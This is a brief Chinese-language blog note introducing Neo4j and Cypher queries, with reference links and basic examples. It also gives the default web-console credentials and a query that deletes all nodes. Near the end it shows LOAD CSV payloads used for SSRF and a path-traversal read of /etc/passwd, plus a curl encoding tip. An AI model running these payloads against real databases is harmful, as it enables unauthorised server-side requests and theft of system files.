Neo4j Cypher簡學

Neo4j Cypher簡介

# 百度
Neo4j是一個高性能的,NOSQL圖形數據庫,它將結構化數據存儲在網絡上而不是表中。
Cypher是一個描述性的圖形查詢語言,容許沒必要編寫圖形結構的遍歷代碼對圖形存儲有表現力和效率的查詢。

一些入門的資料

https://neo4j.com/docs/cypher-refcard/current/ 一個很是不錯的手冊
neo4j.com/docs/developer-manual/current/introduction/ 官方文檔
http://blog.csdn.net/wangweislk/article/details/47661863 圖數據庫-Neo4j介紹與Cypher入門

語法小卡片

Neo4j Cypher語法手冊

Neo4j web界面

http://127.0.0.1:7474/browser/ 默認密碼neo4j/neo4j
功能不少,相似phpmyadmin之類的在線管理工具,能夠執行查詢語句

查詢全部節點數據

MATCH(n) RETURN n

建立新的節點

# 若是不存在就建立
merge (sec:sectest) return sec,labels(sec);

刪除全部節點數據

# 同理亦可CREATE、DROP、SET、REMOVE等
MATCH (n) DETACH DELETE n

導入數據,存在SSRF漏洞

# 相同類型的問題一樣存在於大多數數據庫中,可百度搜索豬豬俠的ssrf姿式大全
match(n)  LOAD CSV FROM "http://127.0.0.1/ssrf" AS line RETURN count(*) limit 1;

目錄配置不當可能存在任意文件讀取

match(n)  LOAD CSV FROM "file:///../../../../../../../etc/passwd" AS line RETURN count(*) limit 1;

curl請求注意項

查詢語句中的空格要用%0a隔開

最後

習慣了本地記筆記,好久沒寫博客,來澆點水,最近作的項目比較多,但願可以記錄整理下點什麼。
這兩天剛開始研究藍牙方面的東西,過幾天有點成果了再整理髮出來吧。
相關文章
相關標籤/搜索